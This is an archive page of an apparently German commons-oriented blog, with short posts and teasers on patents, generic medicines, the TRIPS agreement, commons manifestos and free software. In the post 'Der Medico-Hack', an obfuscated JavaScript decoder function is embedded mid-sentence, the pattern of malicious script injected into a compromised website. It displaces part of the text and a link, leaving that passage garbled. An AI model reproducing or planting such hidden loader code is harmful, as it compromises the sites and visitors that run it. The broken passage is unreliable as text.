Auf der Suche nach dem Neuen im Alten
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Geistige Eigentumsrechte und Freihandelsabkommen

[Beitrag aus dem Commons-Buch (Commons – Für eine neue Politik jenseits von Markt und Staat, Hg. Silke Helfrich/Heinrich-Böll-Stiftung); Lizenz: CC BY-SA]

Beatriz Busaniche

Eine unendliche Geschichte

Man stelle sich eine Gruppe transnationaler Unternehmen vor, die über Monopole in der Pharmaindustrie, der Informations- und Kommunikationsindustrie und der Unterhaltungsbranche verfügt. Diese Gruppe konzentriert nun ihre Lobbyaktivitäten darauf, die Regierungen der Industrieländer dieser Welt zu bewegen, den Entwicklungsländern die »Harmonisierung« des globalen Systems der intellektuellen Eigentumsrechte aufzuzwingen. Genau das geschah in den 1990er-Jahren des vergangenen Jahrhunderts. Vollständigen Artikel lesen »

Kategorien: Commons, Eigentumsfragen, Feindbeobachtung

5. Oktober 2012, 07:04 Uhr   1 Kommentar

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Fake Commons

The more the commons gets attraction, the more false riders will use the idea. Today I what to point to one of these examples, which did not yet name themselves a »commons«, but it only takes them a minute to realize, that what they doing can be successfully labled a »commons«. I am talking about the ColaLife project. Due to explicitely putting a copyright stamp and »All rights reserved« on their pages, I can't display images of their idea to »safe children's lives«. Check out yourself.

The basic idea is to use existing distribution channels of Cola to spread »social products« such as rehydration salts, vitamines, or other medicine. These »social products« are transported in a specially designed small lenghty containers called »AidPod«, which fit between the bottles in crates. Sounds nice.

However, did you ever think of these facts:

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Kategorien: English, Feindbeobachtung

21. November 2010, 07:52 Uhr   Kommentieren

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com.munismus.komm! Patente Sachen über Wissen, Arbeit und Eigentum

Die Zeitschrift »prager frühling« ist inhaltlich mit der Emanzipatorischen Linken verbunden, der am wenigsten »traditionalistischen« Strömung in der Linkspartei. Redakteurin und Leitfigur ist die Bundestagsabgeordnete Katja Kipping. Das »Magazin für Freiheit und Sozialismus« (hm, ist Freiheit und Sozialismus tatsächlich additiv und nicht inklusiv?) führte mit Sabine Nuss und mir ein längeres Gespräch zum Thema Wissen, Produktionsweise und Keimform.

Das im folgenden veröffentlichte, gekürzte Gespräch repräsentiert ein gefühltes Fünftel von dem, was wir diskutiert hatten.

Here we go:
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Kategorien: Arbeit & Freiheit, Commons, Eigentumsfragen, Freie Software, Reichtum & Knappheit

25. Oktober 2010, 07:28 Uhr   5 Kommentare

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Patente enteignen!

Patente sollen einen ökonomischen Anreiz bieten, neue techische Verfahren zu erfinden — zum Beispiel für die Produktion neuer Medikamente. Dass insbesondere im Pharmabereich häufig öffentliche Gelder in der Forschung eingesetzt werden, könnte alleine schon rechtfertigen, keine Patente für Privatproduzenten zuzulassen. Genau dies geschieht jedoch in aller Regel — die private Verwertung der öffentlichen finanzierten Forschungsergebnisse.

Skandalös wird die Sache, wenn die Privatproduzenten nicht willens (z.B. aufgrund zu geringer Gewinnmargen) oder in der Lage (z.B. aufgrund nicht eingehaltener gesetzlicher Hygienevorschriften) sind, das patentierte Medikament auch tatsächlich zu produzieren. Ein solcher Fall wird nun aus den USA berichtet.

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Kategorien: Commons, Eigentumsfragen, Feindbeobachtung, Reichtum & Knappheit

10. August 2010, 11:40 Uhr   5 Kommentare

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Manifesto »Strengthen the Commons – Now!«

Strenghen the Commons[Deutsche Fassung]

The following manifesto is the result of a one and a half year process, where dozens of participants from politics, unions, sciences, the free culture and software movement, the environmental movement, economy as well as from art and culture discussed about commons and the relevance for humankind. It was developed in the context of the Interdisciplinary political salons of the Heinrich Böll Foundation‘s „Time for commons“.

Below, the entire text of the manifesto is documented, which is also available as a nicely layouted PDF (4 pages) at Commonsblog. Vollständigen Artikel lesen »

Kategorien: Commons, English, Freie Inhalte

27. Dezember 2009, 13:17 Uhr   2 Kommentare

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Manifest »Gemeingüter stärken. Jetzt!«

Gemeingüter stärken

[English version]

Das folgende Manifest ist Ergebnis eines anderthalbjährigen Prozesses, in dem sich Dutzende von Beteiligten aus Politik, Gewerkschaften, Wissenschaft, der Freien-Kultur- und -Software-Bewegung, der Umweltbewegung, der Wirtschaft sowie Kunst und Kultur mit den Gemeingütern und ihrer Bedeutung für die Menschheit auseinandergesetzt haben. Es ist im Rahmen des Interdisziplinären Politischen Salon »Zeit für Allmende« entstanden, der an der Heinrich-Böll-Stiftung angesiedelt war.

Auch das im Frühjahr verabschiedete »Manifest zur Wiedergewinnung der Gemeingüter« des Weltsozialforum macht sich für die Gemeingüter stark. Das Potsdamer Gemeingütermanifest geht darüber hinaus, indem es detaillierter und meiner Meinung nach sehr prägnant herausarbeitet

  • warum Gemeingüter gerade in Krisenzeiten einerseits besonders wichtig und andererseits besonders bedroht sind,
  • wie vielfältig die gemeingüterorientierten Communities und Bewegungen sind – und wie viel sie doch gemeinsam haben,
  • was Gemeingüter ausmacht und wie eine gemeingütergerechte Gesellschaft aussehen könnte.

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Kategorien: Commons, Freie Inhalte

9. Juli 2009, 10:01 Uhr   7 Kommentare

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Der Medico-Hack

Medico-LogoWir berichteten ja bereits über die Probleme mit Patenten auf Medikamente. Medico International hat nun eine ziemlich brilliante Idee, wie ich finde: Zusammen mit ihrer Partnerorganisation in Bangladesh wollen sie dort eine Fabrik für HIV/AIDS-Medikamente aufbauen, die in ein paar Jahren in der Lage sein soll, Tausende von Menschen vor allem in Afrika mit Generika zu versorgen. Der Clou bei der Sache: Das function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=‘;var vb=“;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandelsbezogene_Aspekte_der_Rechte_des_geistigen_Eigentums“>TRIPS-Abkommen sieht noch bis 2018 eine Ausnahme für die ärmsten Länder (least developed countries) vor, Generika zu produzieren und auch in andere arme Länder zu exportieren. Wenn diese Versorgung dann 2018 steht und Millionen von Menschenleben ganz konkret davon abhängen, wird es sehr schwer sein diese Ausnahmeregelung nicht zu verlängern. Ein brillianter Hack, der Menschenleben rettet, wie ich finde.

Kategorien: Eigentumsfragen, Reichtum & Knappheit

6. August 2007, 22:56 Uhr   1 Kommentar

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Imitate können Leben retten

Was das Geistige Eigentum auf dem G8-Gipfel betrifft, findet sich bei Spiegel Online eine perfide Argumentation:

Markenschutz steht ganz oben auf der Wunschliste der G-8-Staaten. Wer dabei bloß an Adidas-Turnschuhe, Rolex-Uhren und Gucci-Taschen denkt, verkennt das eigentliche Problem – gefälschte Medikamente stellen die größte Gefahr dar.

[…] im Gegensatz zu einer nachgemachten Rolex oder Gucci-Tasche stellen gefälschte Arzneimittel eine ernsthafte Gefahr dar. Umso alarmierender ist der dramatische Anstieg, den gerade dieses Segment der Produktpiraterie zu verzeichnen hat.

Nun ist der bloße Markenschutz (dass A sich nicht als B ausgeben sollte) ja relativ unumstritten (im Gegensatz zum Copyright- und Patentsystem), und das Problem würde überhaupt nicht erst entstehen, wenn jede/r sich die richtigen Präparate leisten könnte. Aber SpOn klagt dann doch lieber ganz pauschal über „Produktpiraterie“, ohne sich um solche Details groß zu kümmern.

Nach einer Schätzung der WHO sind zurzeit rund zehn Prozent aller Medikamente Fälschungen – im besten Fall sind es Imitate, schlimmstenfalls wirkungslose Attrappen oder sogar Gift.

Was SpOn nicht erwähnt, ist dass „richtige“ Imitate (die so wirken wie das Original) nicht nur der beste Art von Fälschung sind, sondern sogar besser als das Original – weil Menschen sie sich leisten können, für die das Original unerschwinglich wäre. Imitate und Generika können Leben retten – eine Perspektive, die bei SpOn (nicht überraschend) fehlt.

Kategorien: Eigentumsfragen, Feindbeobachtung

6. Juni 2007, 11:30 Uhr   8 Kommentare

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Brasilien befreit Medikament vom Patent

Kategorien: Commons, Eigentumsfragen

6. Mai 2007, 11:47 Uhr   3 Kommentare

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Open Source Jahrbuch: Das erste Kapitel

Der Untertitel des aktuellen Open Source Jahrbuch ist mir erst beim Ansehen der Print-Version aufgefallen: Zwischen freier Software und Gesellschaftsmodell. „Gesellschaftsmodell“ klingt ja viel versprechend 🙂 — leider allerdings ist im Buch außer dem Artikel von Franz Nahrada und vielleicht dem von Gundolf S. Freyermuth (dazu je unten mehr) nicht viel zu finden, was diesem Anspruch gerecht werden könnte.

Überhaupt kann ich allen, die das Buch nicht bestellen wollen oder können, nur den Download der PDF-Version empfehlen, da die inhaltliche Gliederung des Buchs in der Online-Übersichtsseite völlig verloren geht. Insgesamt hat das Buch 7 Kapitel, die für uns interessantesten Artikel dürften wohl v.a. in Kapitel 1 („Das Prinzip Open Source“) und 2 („Open-Source-Ökonomie“) zu finden.

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Kategorien: Freie Software, Medientipp, Theorie

25. März 2007, 19:44 Uhr   7 Kommentare